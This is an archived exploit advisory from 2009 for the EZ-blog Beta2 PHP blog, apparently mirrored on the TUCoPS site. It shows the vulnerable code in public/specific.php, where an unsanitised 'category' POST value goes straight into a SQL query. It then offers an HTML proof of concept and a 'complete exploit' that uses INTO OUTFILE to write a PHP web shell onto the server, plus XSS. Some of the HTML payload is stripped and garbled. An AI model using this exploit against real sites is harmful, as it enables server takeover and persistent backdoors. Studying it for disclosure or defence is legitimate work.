Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Blogs :: va3283.htm

SQL INJECTION (SHELL UPLOAD)--EZ-blog Beta2-->

Better a bottle in front of me than a frontal lobotomy.

SQL INJECTION (SHELL UPLOAD)--EZ-blog Beta2-->
SQL INJECTION (SHELL UPLOAD)--EZ-blog Beta2-->



-------------------------------------------------
SQL INJECTION VULNERABILITY --EZ-blog Beta2--> 		             	     
-------------------------------------------------

CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/ez-blog/ 
-->DOWNLOAD: http://sourceforge.net/projects/ez-blog/ 
-->DEMO: N/A
-->CATEGORY: CMS / Blogging
-->DESCRIPTION: EZ-Blog is an open-source blog program written in PHP.
		Presently, only MySQL is supported, but a PostgreSQL version is planned.
-->RELEASED: 2009-04-26

CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: SQL INJECTION (SHELL UPLOAD)
-->AFFECT VERSION: <=1 Beta2
-->Discovered Bug date: 2009-04-26
-->Reported Bug date: 2009-04-27
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-------
INTRO:
-------


An exploit was published by drosophila with Multiple SQL Injection in EZ-blog Beta-1, 
they (apparently) fixed it but the system is still vulnerable.


-----------
FILE VULN:
-----------

Path --> [HOME_PATH]/public/specific.php

..

$whichcategory = Trim($_POST['category']);

..
	if ($whichcategory=='All'){
		$query  = "SELECT * FROM content ORDER BY id DESC";=09
	}else{
		$query  = "SELECT * FROM content WHERE  topic ='" . $whichcategory . "' ORDER BY id DESC";
	}=09
	$result = mysql_query($query);
..


------------------
PROOF OF CONCEPT:
------------------

Copy and save --> PoC.html.
Configure --> HOST, HOME_PATH



PoC BY Y3NH4CK3R --PROUD TO BE SPANISH-->

Click "Execute PoC" to launch the proof of concept (SQLi)...



BY y3nh4ck3r. Contact: y3nh4ck3r@gmail.com

------------------------ EXPLOIT (SHELL UPLOAD): ------------------------ This aplication hasn't admin authentication using DB, ie, admin panel uses .htaccess file. This is a complete exploit: SQL Injection --> Shell Upload, and XSS...all in one ;) Copy and save --> exploit.html. Configure --> HOST, HOME_PATH and COMPLETE-PATH. PoC BY Y3NH4CK3R --PROUD TO BE SPANISH-->

Click "Upload shell" to launch the exploit (SQLi)...

action="http://[HOST]/[HOME_PATH]/public/specific.php"> ','y3nh4ck3r@gmail.com','' INTO OUTFILE '[COMPLETE-PATH]/public/shell.php'/*">

Your shell in "http://[HOST]/[HOME_PATH]/public/shell.php"


BY y3nh4ck3r. Contact: y3nh4ck3r@gmail.com

Your shell in --> http://[HOST]/[HOME_PATH]/public/shell.php ####################################################################### ####################################################################### ##*******************************************************************## ## ESPECIAL GREETZ TO: Str0ke, JosS, drosophila ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## ####################################################################### #######################################################################


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH